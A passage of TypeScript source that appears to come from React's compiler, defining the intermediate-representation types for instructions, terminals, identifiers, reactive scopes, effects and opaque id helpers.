id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type OptionalTerminal = {\n  kind: 'optional';\n  /*\n   * Specifies whether this node was optional. If false, it means that the original\n   * node was part of an optional chain but this specific item was non-optional.\n   * For example, in `a?.b.c?.()`, the `.b` access is non-optional but appears within\n   * an optional chain.\n   */\n  optional: boolean;\n  test: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type SequenceTerminal = {\n  kind: 'sequence';\n  block: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type TryTerminal = {\n  kind: 'try';\n  block: BlockId;\n  handlerBinding: Place | null;\n  handler: BlockId;\n  // TODO: support `finally`\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type MaybeThrowTerminal = {\n  kind: 'maybe-throw';\n  continuation: BlockId;\n  handler: BlockId | null;\n  id: InstructionId;\n  loc: SourceLocation;\n  fallthrough?: never;\n  effects: Array<AliasingEffect> | null;\n};\n\nexport type ReactiveScopeTerminal = {\n  kind: 'scope';\n  fallthrough: BlockId;\n  block: BlockId;\n  scope: ReactiveScope;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type PrunedScopeTerminal = {\n  kind: 'pruned-scope';\n  fallthrough: BlockId;\n  block: BlockId;\n  scope: ReactiveScope;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\n/*\n * Instructions generally represent expressions but with all nesting flattened away,\n * such that all operands to each instruction are either primitive values OR are\n * references to a place, which may be a temporary that holds the results of a\n * previous instruction. So `foo(bar(a))` would decompose into two instructions,\n * one to store `tmp0 = bar(a)`, one for `foo(tmp0)`.\n *\n * Instructions generally store their value into a Place, though some instructions\n * may not produce a value that is necessary to track (for example, class definitions)\n * or may occur only for side-effects (many expression statements).\n */\nexport type Instruction = {\n  id: InstructionId;\n  lvalue: Place;\n  value: InstructionValue;\n  loc: SourceLocation;\n  effects: Array<AliasingEffect> | null;\n};\n\nexport type TInstruction<T extends InstructionValue> = {\n  id: InstructionId;\n  lvalue: Place;\n  value: T;\n  effects: Array<AliasingEffect> | null;\n  loc: SourceLocation;\n};\n\nexport type LValue = {\n  place: Place;\n  kind: InstructionKind;\n};\n\nexport type LValuePattern = {\n  pattern: Pattern;\n  kind: InstructionKind;\n};\n\nexport type ArrayExpression = {\n  kind: 'ArrayExpression';\n  elements: Array<Place | SpreadPattern | Hole>;\n  loc: SourceLocation;\n};\n\nexport type Pattern = ArrayPattern | ObjectPattern;\n\nexport type Hole = {\n  kind: 'Hole';\n};\n\nexport type SpreadPattern = {\n  kind: 'Spread';\n  place: Place;\n};\n\nexport type ArrayPattern = {\n  kind: 'ArrayPattern';\n  items: Array<Place | SpreadPattern | Hole>;\n  loc: SourceLocation;\n};\n\nexport type ObjectPattern = {\n  kind: 'ObjectPattern';\n  properties: Array<ObjectProperty | SpreadPattern>;\n  loc: SourceLocation;\n};\n\nexport type ObjectPropertyKey =\n  | {\n      kind: 'string';\n      name: string;\n    }\n  | {\n      kind: 'identifier';\n      name: string;\n    }\n  | {\n      kind: 'computed';\n      name: Place;\n    }\n  | {\n      kind: 'number';\n      name: number;\n    };\n\nexport type ObjectProperty = {\n  kind: 'ObjectProperty';\n  key: ObjectPropertyKey;\n  type: 'property' | 'method';\n  place: Place;\n};\n\nexport type LoweredFunction = {\n  func: HIRFunction;\n};\n\nexport type ObjectMethod = {\n  kind: 'ObjectMethod';\n  loc: SourceLocation;\n  loweredFunc: LoweredFunction;\n};\n\nexport enum InstructionKind {\n  // const declaration\n  Const = 'Const',\n  // let declaration\n  Let = 'Let',\n  // assing a new value to a let binding\n  Reassign = 'Reassign',\n  // catch clause binding\n  Catch = 'Catch',\n\n  // hoisted const declarations\n  HoistedConst = 'HoistedConst',\n\n  // hoisted const declarations\n  HoistedLet = 'HoistedLet',\n\n  HoistedFunction = 'HoistedFunction',\n  Function = 'Function',\n}\n\nexport function convertHoistedLValueKind(\n  kind: InstructionKind,\n): InstructionKind | null {\n  switch (kind) {\n    case InstructionKind.HoistedLet:\n      return InstructionKind.Let;\n    case InstructionKind.HoistedConst:\n      return InstructionKind.Const;\n    case InstructionKind.HoistedFunction:\n      return InstructionKind.Function;\n    case InstructionKind.Let:\n    case InstructionKind.Const:\n    case InstructionKind.Function:\n    case InstructionKind.Reassign:\n    case InstructionKind.Catch:\n      return null;\n    default:\n      assertExhaustive(kind, 'Unexpected lvalue kind');\n  }\n}\n\nfunction _staticInvariantInstructionValueHasLocation(\n  value: InstructionValue,\n): SourceLocation {\n  // If this fails, it is because a variant of InstructionValue is missing a .loc - add it!\n  return value.loc;\n}\n\nexport type Phi = {\n  kind: 'Phi';\n  place: Place;\n  operands: Map<BlockId, Place>;\n};\n\n/**\n * Valid ManualMemoDependencies are always of the form\n * `sourceDeclaredVariable.a.b?.c`, since this is documented\n * and enforced by the `react-hooks/exhaustive-deps` rule.\n *\n * `root` must either reference a ValidatedIdentifier or a global\n * variable.\n */\nexport type ManualMemoDependency = {\n  root:\n    | {\n        kind: 'NamedLocal';\n        value: Place;\n        constant: boolean;\n      }\n    | {kind: 'Global'; identifierName: string};\n  path: DependencyPath;\n  loc: SourceLocation;\n};\n\nexport type StartMemoize = {\n  kind: 'StartMemoize';\n  // Start/FinishMemoize markers should have matching ids\n  manualMemoId: number;\n  /**\n   * deps-list from source code, or null if one was not provided\n   * (e.g. useMemo without a second arg)\n   */\n  deps: Array<ManualMemoDependency> | null;\n  /**\n   * The source location of the dependencies argument. Used for\n   * emitting diagnostics with a suggested replacement\n   */\n  depsLoc: SourceLocation | null;\n  hasInvalidDeps?: true;\n  loc: SourceLocation;\n};\nexport type FinishMemoize = {\n  kind: 'FinishMemoize';\n  // Start/FinishMemoize markers should have matching ids\n  manualMemoId: number;\n  decl: Place;\n  pruned?: true;\n  loc: SourceLocation;\n};\n\n/*\n * Forget currently does not handle MethodCall correctly in\n * all cases. Specifically, we do not bind the receiver and method property\n * before calling to args. Until we add a SequenceExpression to inline all\n * instructions generated when lowering args, we have a limited representation\n * with some constraints.\n *\n * Forget currently makes these assumptions (checked in codegen):\n *   - {@link MethodCall.property} is a temporary produced by a PropertyLoad or ComputedLoad\n *     on {@link MethodCall.receiver}\n *   - {@link MethodCall.property} remains an rval (i.e. never promoted to a\n *     named identifier). We currently rely on this for codegen.\n *\n * Type inference does not currently guarantee that {@link MethodCall.property}\n * is a FunctionType.\n */\nexport type MethodCall = {\n  kind: 'MethodCall';\n  receiver: Place;\n  property: Place;\n  args: Array<Place | SpreadPattern>;\n  loc: SourceLocation;\n};\n\nexport type CallExpression = {\n  kind: 'CallExpression';\n  callee: Place;\n  args: Array<Place | SpreadPattern>;\n  loc: SourceLocation;\n  typeArguments?: Array<t.FlowType>;\n};\n\nexport type NewExpression = {\n  kind: 'NewExpression';\n  callee: Place;\n  args: Array<Place | SpreadPattern>;\n  loc: SourceLocation;\n};\n\nexport type LoadLocal = {\n  kind: 'LoadLocal';\n  place: Place;\n  loc: SourceLocation;\n};\nexport type LoadContext = {\n  kind: 'LoadContext';\n  place: Place;\n  loc: SourceLocation;\n};\n\n/*\n * The value of a given instruction. Note that values are not recursive: complex\n * values such as objects or arrays are always defined by instructions to define\n * their operands (saving to a temporary), then passing those temporaries as\n * the operands to the final instruction (ObjectExpression, ArrayExpression, etc).\n *\n * Operands are therefore always a Place.\n */\n\nexport type InstructionValue =\n  | LoadLocal\n  | LoadContext\n  | {\n      kind: 'DeclareLocal';\n      lvalue: LValue;\n      type: t.FlowType | t.TSType | null;\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'DeclareContext';\n      lvalue: {\n        kind:\n          | InstructionKind.Let\n          | InstructionKind.HoistedConst\n          | InstructionKind.HoistedLet\n          | InstructionKind.HoistedFunction;\n        place: Place;\n      };\n      loc: SourceLocation;\n    }\n  | StoreLocal\n  | {\n      kind: 'StoreContext';\n      /**\n       * StoreContext kinds:\n       * Reassign: context variable reassignment in source\n       * Const:    const declaration + assignment in source\n       *           ('const' context vars are ones whose declarations are hoisted)\n       * Let:      let declaration + assignment in source\n       * Function: function declaration in source (similar to `const`)\n       */\n      lvalue: {\n        kind:\n          | InstructionKind.Reassign\n          | InstructionKind.Const\n          | InstructionKind.Let\n          | InstructionKind.Function;\n        place: Place;\n      };\n      value: Place;\n      loc: SourceLocation;\n    }\n  | Destructure\n  | {\n      kind: 'Primitive';\n      value: number | boolean | string | null | undefined;\n      loc: SourceLocation;\n    }\n  | JSXText\n  | {\n      kind: 'BinaryExpression';\n      operator: Exclude<t.BinaryExpression['operator'], '|>'>;\n      left: Place;\n      right: Place;\n      loc: SourceLocation;\n    }\n  | NewExpression\n  | CallExpression\n  | MethodCall\n  | {\n      kind: 'UnaryExpression';\n      operator: Exclude<t.UnaryExpression['operator'], 'throw' | 'delete'>;\n      value: Place;\n      loc: SourceLocation;\n    }\n  | ({\n      kind: 'TypeCastExpression';\n      value: Place;\n      type: Type;\n      loc: SourceLocation;\n    } & (\n      | {\n          typeAnnotation: t.FlowType;\n          typeAnnotationKind: 'cast';\n        }\n      | {\n          typeAnnotation: t.TSType;\n          typeAnnotationKind: 'as' | 'satisfies';\n        }\n    ))\n  | JsxExpression\n  | {\n      kind: 'ObjectExpression';\n      properties: Array<ObjectProperty | SpreadPattern>;\n      loc: SourceLocation;\n    }\n  | ObjectMethod\n  | ArrayExpression\n  | {kind: 'JsxFragment'; children: Array<Place>; loc: SourceLocation}\n  | {\n      kind: 'RegExpLiteral';\n      pattern: string;\n      flags: string;\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'MetaProperty';\n      meta: string;\n      property: string;\n      loc: SourceLocation;\n    }\n\n  // store `object.property = value`\n  | {\n      kind: 'PropertyStore';\n      object: Place;\n      property: PropertyLiteral;\n      value: Place;\n      loc: SourceLocation;\n    }\n  // load `object.property`\n  | PropertyLoad\n  // `delete object.property`\n  | {\n      kind: 'PropertyDelete';\n      object: Place;\n      property: PropertyLiteral;\n      loc: SourceLocation;\n    }\n\n  // store `object[index] = value` - like PropertyStore but with a dynamic property\n  | {\n      kind: 'ComputedStore';\n      object: Place;\n      property: Place;\n      value: Place;\n      loc: SourceLocation;\n    }\n  // load `object[index]` - like PropertyLoad but with a dynamic property\n  | {\n      kind: 'ComputedLoad';\n      object: Place;\n      property: Place;\n      loc: SourceLocation;\n    }\n  // `delete object[property]`\n  | {\n      kind: 'ComputedDelete';\n      object: Place;\n      property: Place;\n      loc: SourceLocation;\n    }\n  | LoadGlobal\n  | StoreGlobal\n  | FunctionExpression\n  | {\n      kind: 'TaggedTemplateExpression';\n      tag: Place;\n      value: {raw: string; cooked?: string};\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'TemplateLiteral';\n      subexprs: Array<Place>;\n      quasis: Array<{raw: string; cooked?: string}>;\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'Await';\n      value: Place;\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'GetIterator';\n      collection: Place; // the collection\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'IteratorNext';\n      iterator: Place; // the iterator created with GetIterator\n      collection: Place; // the collection being iterated over (which may be an iterable or iterator)\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'NextPropertyOf';\n      value: Place; // the collection\n      loc: SourceLocation;\n    }\n  /*\n   * Models a prefix update expression such as --x or ++y\n   * This instructions increments or decrements the <lvalue>\n   * but evaluates to the value of <value> prior to the update.\n   */\n  | {\n      kind: 'PrefixUpdate';\n      lvalue: Place;\n      operation: t.UpdateExpression['operator'];\n      value: Place;\n      loc: SourceLocation;\n    }\n  /*\n   * Models a postfix update expression such as x-- or y++\n   * This instructions increments or decrements the <lvalue>\n   * and evaluates to the value after the update\n   */\n  | {\n      kind: 'PostfixUpdate';\n      lvalue: Place;\n      operation: t.UpdateExpression['operator'];\n      value: Place;\n      loc: SourceLocation;\n    }\n  // `debugger` statement\n  | {kind: 'Debugger'; loc: SourceLocation}\n  /*\n   * Represents semantic information from useMemo/useCallback that the developer\n   * has indicated a particular value should be memoized. This value is ignored\n   * unless the TODO flag is enabled.\n   *\n   * NOTE: the Memoize instruction is intended for side-effects only, and is pruned\n   * during codegen. It can't be pruned during DCE because we need to preserve the\n   * instruction so it can be visible in InferReferenceEffects.\n   */\n  | StartMemoize\n  | FinishMemoize\n  /*\n   * Catch-all for statements such as type imports, nested class declarations, etc\n   * which are not directly represented, but included for completeness and to allow\n   * passing through in codegen.\n   */\n  | {\n      kind: 'UnsupportedNode';\n      node: t.Node;\n      loc: SourceLocation;\n    };\n\nexport type JsxExpression = {\n  kind: 'JsxExpression';\n  tag: Place | BuiltinTag;\n  props: Array<JsxAttribute>;\n  children: Array<Place> | null; // null === no children\n  loc: SourceLocation;\n  openingLoc: SourceLocation;\n  closingLoc: SourceLocation;\n};\n\nexport type JsxAttribute =\n  | {kind: 'JsxSpreadAttribute'; argument: Place}\n  | {kind: 'JsxAttribute'; name: string; place: Place};\n\nexport type FunctionExpression = {\n  kind: 'FunctionExpression';\n  name: ValidIdentifierName | null;\n  nameHint: string | null;\n  loweredFunc: LoweredFunction;\n  type:\n    | 'ArrowFunctionExpression'\n    | 'FunctionExpression'\n    | 'FunctionDeclaration';\n  loc: SourceLocation;\n};\n\nexport type Destructure = {\n  kind: 'Destructure';\n  lvalue: LValuePattern;\n  value: Place;\n  loc: SourceLocation;\n};\n\n/*\n * A place where data may be read from / written to:\n * - a variable (identifier)\n * - a path into an identifier\n */\nexport type Place = {\n  kind: 'Identifier';\n  identifier: Identifier;\n  effect: Effect;\n  reactive: boolean;\n  loc: SourceLocation;\n};\n\n// A primitive value with a specific (constant) value.\nexport type Primitive = {\n  kind: 'Primitive';\n  value: number | boolean | string | null | undefined;\n  loc: SourceLocation;\n};\n\nexport type JSXText = {kind: 'JSXText'; value: string; loc: SourceLocation};\n\nexport type StoreLocal = {\n  kind: 'StoreLocal';\n  lvalue: LValue;\n  value: Place;\n  type: t.FlowType | t.TSType | null;\n  loc: SourceLocation;\n};\nexport type PropertyLoad = {\n  kind: 'PropertyLoad';\n  object: Place;\n  property: PropertyLiteral;\n  loc: SourceLocation;\n};\n\nexport type LoadGlobal = {\n  kind: 'LoadGlobal';\n  binding: NonLocalBinding;\n  loc: SourceLocation;\n};\n\nexport type StoreGlobal = {\n  kind: 'StoreGlobal';\n  name: string;\n  value: Place;\n  loc: SourceLocation;\n};\n\nexport type BuiltinTag = {\n  kind: 'BuiltinTag';\n  name: string;\n  loc: SourceLocation;\n};\n\n/*\n * Range in which an identifier is mutable. Start and End refer to Instruction.id.\n *\n * Start is inclusive, End is exclusive (ie, end is the \"first\" instruction for which\n * the value is not mutable).\n */\nexport type MutableRange = {\n  start: InstructionId;\n  end: InstructionId;\n};\n\nexport type VariableBinding =\n  // let, const, etc declared within the current component/hook\n  | {kind: 'Identifier'; identifier: Identifier; bindingKind: BindingKind}\n  // bindings declard outside the current component/hook\n  | NonLocalBinding;\n\n// `import {bar as baz} from 'foo'`: name=baz, module=foo, imported=bar\nexport type NonLocalImportSpecifier = {\n  kind: 'ImportSpecifier';\n  name: string;\n  module: string;\n  imported: string;\n};\n\nexport type NonLocalBinding =\n  // `import Foo from 'foo'`: name=Foo, module=foo\n  | {kind: 'ImportDefault'; name: string; module: string}\n  // `import * as Foo from 'foo'`: name=Foo, module=foo\n  | {kind: 'ImportNamespace'; name: string; module: string}\n  // `import {bar as baz} from 'foo'`\n  | NonLocalImportSpecifier\n  // let, const, function, etc declared in the module but outside the current component/hook\n  | {kind: 'ModuleLocal'; name: string}\n  // an unresolved binding\n  | {kind: 'Global'; name: string};\n\n// Represents a user-defined variable (has a name) or a temporary variable (no name).\nexport type Identifier = {\n  /**\n   * After EnterSSA, `id` uniquely identifies an SSA instance of a variable.\n   * Before EnterSSA, `id` matches `declarationId`.\n   */\n  id: IdentifierId;\n\n  /**\n   * Uniquely identifies a given variable in the original program. If a value is\n   * reassigned in the original program each reassigned value will have a distinct\n   * `id` (after EnterSSA), but they will still have the same `declarationId`.\n   */\n  declarationId: DeclarationId;\n\n  // null for temporaries. name is primarily used for debugging.\n  name: IdentifierName | null;\n  // The range for which this variable is mutable\n  mutableRange: MutableRange;\n  /*\n   * The ID of the reactive scope which will compute this value. Multiple\n   * variables may have the same scope id.\n   */\n  scope: ReactiveScope | null;\n  type: Type;\n  loc: SourceLocation;\n};\n\nexport type IdentifierName = ValidatedIdentifier | PromotedIdentifier;\nexport type ValidatedIdentifier = {kind: 'named'; value: ValidIdentifierName};\nexport type PromotedIdentifier = {kind: 'promoted'; value: string};\n\n/**\n * Simulated opaque type for identifier names to ensure values can only be created\n * through the below helpers.\n */\nconst opaqueValidIdentifierName = Symbol();\nexport type ValidIdentifierName = string & {\n  [opaqueValidIdentifierName]: 'ValidIdentifierName';\n};\n\nexport function makeTemporaryIdentifier(\n  id: IdentifierId,\n  loc: SourceLocation,\n): Identifier {\n  return {\n    id,\n    name: null,\n    declarationId: makeDeclarationId(id),\n    mutableRange: {start: makeInstructionId(0), end: makeInstructionId(0)},\n    scope: null,\n    type: makeType(),\n    loc,\n  };\n}\n\nexport function forkTemporaryIdentifier(\n  id: IdentifierId,\n  source: Identifier,\n): Identifier {\n  return {\n    ...source,\n    mutableRange: {start: makeInstructionId(0), end: makeInstructionId(0)},\n    id,\n  };\n}\n\nexport function validateIdentifierName(\n  name: string,\n): Result<ValidatedIdentifier, CompilerError> {\n  if (isReservedWord(name)) {\n    const error = new CompilerError();\n    error.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Syntax,\n        reason: 'Expected a non-reserved identifier name',\n        description: `\\`${name}\\` is a reserved word in JavaScript and cannot be used as an identifier name`,\n        suggestions: null,\n      }).withDetails({\n        kind: 'error',\n        loc: GeneratedSource,\n        message: 'reserved word',\n      }),\n    );\n    return Err(error);\n  } else if (!t.isValidIdentifier(name)) {\n    const error = new CompilerError();\n    error.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Syntax,\n        reason: `Expected a valid identifier name`,\n        description: `\\`${name}\\` is not a valid JavaScript identifier`,\n        suggestions: null,\n      }).withDetails({\n        kind: 'error',\n        loc: GeneratedSource,\n        message: 'reserved word',\n      }),\n    );\n  }\n  return Ok({\n    kind: 'named',\n    value: name as ValidIdentifierName,\n  });\n}\n\n/**\n * Creates a valid identifier name. This should *not* be used for synthesizing\n * identifier names: only call this method for identifier names that appear in the\n * original source code.\n */\nexport function makeIdentifierName(name: string): ValidatedIdentifier {\n  return validateIdentifierName(name).unwrap();\n}\n\n/**\n * Given an unnamed identifier, promote it to a named identifier.\n *\n * Note: this uses the identifier's DeclarationId to ensure that all\n * instances of the same declaration will have the same name.\n */\nexport function promoteTemporary(identifier: Identifier): void {\n  CompilerError.invariant(identifier.name === null, {\n    reason: `Expected a temporary (unnamed) identifier`,\n    description: `Identifier already has a name, \\`${identifier.name}\\``,\n    loc: GeneratedSource,\n  });\n  identifier.name = {\n    kind: 'promoted',\n    value: `#t${identifier.declarationId}`,\n  };\n}\n\nexport function isPromotedTemporary(name: string): boolean {\n  return name.startsWith('#t');\n}\n\n/**\n * Given an unnamed identifier, promote it to a named identifier, distinguishing\n * it as a value that needs to be capitalized since it appears in JSX element tag position\n *\n * Note: this uses the identifier's DeclarationId to ensure that all\n * instances of the same declaration will have the same name.\n */\nexport function promoteTemporaryJsxTag(identifier: Identifier): void {\n  CompilerError.invariant(identifier.name === null, {\n    reason: `Expected a temporary (unnamed) identifier`,\n    description: `Identifier already has a name, \\`${identifier.name}\\``,\n    loc: GeneratedSource,\n  });\n  identifier.name = {\n    kind: 'promoted',\n    value: `#T${identifier.declarationId}`,\n  };\n}\n\nexport function isPromotedJsxTemporary(name: string): boolean {\n  return name.startsWith('#T');\n}\n\nexport type AbstractValue = {\n  kind: ValueKind;\n  reason: ReadonlySet<ValueReason>;\n  context: ReadonlySet<Place>;\n};\n\n/**\n * The reason for the kind of a value.\n */\nexport enum ValueReason {\n  /**\n   * Defined outside the React function.\n   */\n  Global = 'global',\n\n  /**\n   * Used in a JSX expression.\n   */\n  JsxCaptured = 'jsx-captured',\n\n  /**\n   * Argument to a hook\n   */\n  HookCaptured = 'hook-captured',\n\n  /**\n   * Return value of a hook\n   */\n  HookReturn = 'hook-return',\n\n  /**\n   * Passed to an effect\n   */\n  Effect = 'effect',\n\n  /**\n   * Return value of a function with known frozen return value, e.g. `useState`.\n   */\n  KnownReturnSignature = 'known-return-signature',\n\n  /**\n   * A value returned from `useContext`\n   */\n  Context = 'context',\n\n  /**\n   * A value returned from `useState`\n   */\n  State = 'state',\n\n  /**\n   * A value returned from `useReducer`\n   */\n  ReducerState = 'reducer-state',\n\n  /**\n   * Props of a component or arguments of a hook.\n   */\n  ReactiveFunctionArgument = 'reactive-function-argument',\n\n  Other = 'other',\n}\n\n/*\n * Distinguish between different kinds of values relevant to inference purposes:\n * see the main docblock for the module for details.\n */\nexport enum ValueKind {\n  MaybeFrozen = 'maybefrozen',\n  Frozen = 'frozen',\n  Primitive = 'primitive',\n  Global = 'global',\n  Mutable = 'mutable',\n  Context = 'context',\n}\n\nexport const ValueKindSchema = z.enum([\n  ValueKind.MaybeFrozen,\n  ValueKind.Frozen,\n  ValueKind.Primitive,\n  ValueKind.Global,\n  ValueKind.Mutable,\n  ValueKind.Context,\n]);\n\nexport const ValueReasonSchema = z.enum([\n  ValueReason.Context,\n  ValueReason.Effect,\n  ValueReason.Global,\n  ValueReason.HookCaptured,\n  ValueReason.HookReturn,\n  ValueReason.JsxCaptured,\n  ValueReason.KnownReturnSignature,\n  ValueReason.Other,\n  ValueReason.ReactiveFunctionArgument,\n  ValueReason.ReducerState,\n  ValueReason.State,\n]);\n\n// The effect with which a value is modified.\nexport enum Effect {\n  // Default value: not allowed after lifetime inference\n  Unknown = '<unknown>',\n  // This reference freezes the value (corresponds to a place where codegen should emit a freeze instruction)\n  Freeze = 'freeze',\n  // This reference reads the value\n  Read = 'read',\n  // This reference reads and stores the value\n  Capture = 'capture',\n  ConditionallyMutateIterator = 'mutate-iterator?',\n  /*\n   * This reference *may* write to (mutate) the value. This covers two similar cases:\n   * - The compiler is being conservative and assuming that a value *may* be mutated\n   * - The effect is polymorphic: mutable values may be mutated, non-mutable values\n   *   will not be mutated.\n   * In both cases, we conservatively assume that mutable values will be mutated.\n   * But we do not error if the value is known to be immutable.\n   */\n  ConditionallyMutate = 'mutate?',\n\n  /*\n   * This reference *does* write to (mutate) the value. It is an error (invalid input)\n   * if an immutable value flows into a location with this effect.\n   */\n  Mutate = 'mutate',\n  // This reference may alias to (mutate) the value\n  Store = 'store',\n}\nexport const EffectSchema = z.enum([\n  Effect.Read,\n  Effect.Mutate,\n  Effect.ConditionallyMutate,\n  Effect.ConditionallyMutateIterator,\n  Effect.Capture,\n  Effect.Store,\n  Effect.Freeze,\n]);\n\nexport function isMutableEffect(\n  effect: Effect,\n  location: SourceLocation,\n): boolean {\n  switch (effect) {\n    case Effect.Capture:\n    case Effect.Store:\n    case Effect.ConditionallyMutate:\n    case Effect.ConditionallyMutateIterator:\n    case Effect.Mutate: {\n      return true;\n    }\n\n    case Effect.Unknown: {\n      CompilerError.invariant(false, {\n        reason: 'Unexpected unknown effect',\n        loc: location,\n      });\n    }\n    case Effect.Read:\n    case Effect.Freeze: {\n      return false;\n    }\n    default: {\n      assertExhaustive(effect, `Unexpected effect \\`${effect}\\``);\n    }\n  }\n}\n\nexport type ReactiveScope = {\n  id: ScopeId;\n  range: MutableRange;\n\n  /**\n   * The inputs to this reactive scope\n   */\n  dependencies: ReactiveScopeDependencies;\n\n  /**\n   * The set of values produced by this scope. This may be empty\n   * for scopes that produce reassignments only.\n   */\n  declarations: Map<IdentifierId, ReactiveScopeDeclaration>;\n\n  /**\n   * A mutable range may sometimes include a reassignment of some variable.\n   * This is the set of identifiers which are reassigned by this scope.\n   */\n  reassignments: Set<Identifier>;\n\n  /**\n   * Reactive scopes may contain a return statement, which needs to be replayed\n   * whenever the inputs to the scope have not changed since the previous execution.\n   * If the reactive scope has an early return, this variable stores the temporary\n   * identifier to which the return value will be assigned. See PropagateEarlyReturns\n   * for more about how early returns in reactive scopes are compiled and represented.\n   *\n   * This value is null for scopes that do not contain early returns.\n   */\n  earlyReturnValue: {\n    value: Identifier;\n    loc: SourceLocation;\n    label: BlockId;\n  } | null;\n\n  /*\n   * Some passes may merge scopes together. The merged set contains the\n   * ids of scopes that were merged into this one, for passes that need\n   * to track which scopes are still present (in some form) vs scopes that\n   * no longer exist due to being pruned.\n   */\n  merged: Set<ScopeId>;\n\n  loc: SourceLocation;\n};\n\nexport type ReactiveScopeDependencies = Set<ReactiveScopeDependency>;\n\nexport type ReactiveScopeDeclaration = {\n  identifier: Identifier;\n  scope: ReactiveScope; // the scope in which the variable was originally declared\n};\n\nconst opaquePropertyLiteral = Symbol();\nexport type PropertyLiteral = (string | number) & {\n  [opaquePropertyLiteral]: 'PropertyLiteral';\n};\nexport function makePropertyLiteral(value: string | number): PropertyLiteral {\n  return value as PropertyLiteral;\n}\nexport type DependencyPathEntry = {\n  property: PropertyLiteral;\n  optional: boolean;\n  loc: SourceLocation;\n};\nexport type DependencyPath = Array<DependencyPathEntry>;\nexport type ReactiveScopeDependency = {\n  identifier: Identifier;\n  /**\n   * Reflects whether the base identifier is reactive. Note that some reactive\n   * objects may have non-reactive properties, but we do not currently track\n   * this.\n   *\n   * ```js\n   * // Technically, result[0] is reactive and result[1] is not.\n   * // Currently, both dependencies would be marked as reactive.\n   * const result = useState();\n   * ```\n   */\n  reactive: boolean;\n  path: DependencyPath;\n  loc: SourceLocation;\n};\n\nexport function areEqualPaths(a: DependencyPath, b: DependencyPath): boolean {\n  return (\n    a.length === b.length &&\n    a.every(\n      (item, ix) =>\n        item.property === b[ix].property && item.optional === b[ix].optional,\n    )\n  );\n}\nexport function isSubPath(\n  subpath: DependencyPath,\n  path: DependencyPath,\n): boolean {\n  return (\n    subpath.length <= path.length &&\n    subpath.every(\n      (item, ix) =>\n        item.property === path[ix].property &&\n        item.optional === path[ix].optional,\n    )\n  );\n}\nexport function isSubPathIgnoringOptionals(\n  subpath: DependencyPath,\n  path: DependencyPath,\n): boolean {\n  return (\n    subpath.length <= path.length &&\n    subpath.every((item, ix) => item.property === path[ix].property)\n  );\n}\n\nexport function getPlaceScope(\n  id: InstructionId,\n  place: Place,\n): ReactiveScope | null {\n  const scope = place.identifier.scope;\n  if (scope !== null && isScopeActive(scope, id)) {\n    return scope;\n  }\n  return null;\n}\n\nfunction isScopeActive(scope: ReactiveScope, id: InstructionId): boolean {\n  return id >= scope.range.start && id < scope.range.end;\n}\n\n/*\n * Simulated opaque type for BlockIds to prevent using normal numbers as block ids\n * accidentally.\n */\nconst opaqueBlockId = Symbol();\nexport type BlockId = number & {[opaqueBlockId]: 'BlockId'};\n\nexport function makeBlockId(id: number): BlockId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected block id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as BlockId;\n}\n\n/*\n * Simulated opaque type for ScopeIds to prevent using normal numbers as scope ids\n * accidentally.\n */\nconst opaqueScopeId = Symbol();\nexport type ScopeId = number & {[opaqueScopeId]: 'ScopeId'};\n\nexport function makeScopeId(id: number): ScopeId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected block id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as ScopeId;\n}\n\n/*\n * Simulated opaque type for IdentifierId to prevent using normal numbers as ids\n * accidentally.\n */\nconst opaqueIdentifierId = Symbol();\nexport type IdentifierId = number & {[opaqueIdentifierId]: 'IdentifierId'};\n\nexport function makeIdentifierId(id: number): IdentifierId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected identifier id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as IdentifierId;\n}\n\n/*\n * Simulated opaque type for IdentifierId to prevent using normal numbers as ids\n * accidentally.\n */\nconst opageDeclarationId = Symbol();\nexport type DeclarationId = number & {[opageDeclarationId]: 'DeclarationId'};\n\nexport function makeDeclarationId(id: number): DeclarationId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected declaration id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as DeclarationId;\n}\n\n/*\n * Simulated opaque type for InstructionId to prevent using normal numbers as ids\n * accidentally.\n */\nconst opaqueInstructionId = Symbol();\nexport type InstructionId = number & {[opaqueInstructionId]: 'IdentifierId'};\n\nexport function makeInstructionId(id: number): InstructionId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected instruction id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as InstructionId;\n}\n\nexport function isObjectMethodType(id: Identifier): boolean {\n  return id.type.kind == 'ObjectMethod';\n}\n\nexport function isObjectType(id: Identifier): boolean {\n  return id.type.kind === 'Object';\n}\n\nexport function isPrimitiveType(id: Identifier): boolean {\n  return id.type.kind === 'Primitive';\n}\n\nexport function isPlainObjectType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInObject';\n}\n\nexport function isArrayType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInArray';\n}\n\nexport function isMapType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInMap';\n}\n\nexport function isSetType(id: Identifier): boolean {\n  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInSet';\n}\n\nexport function isPropsType(id: Identifier): boolean {\n  return 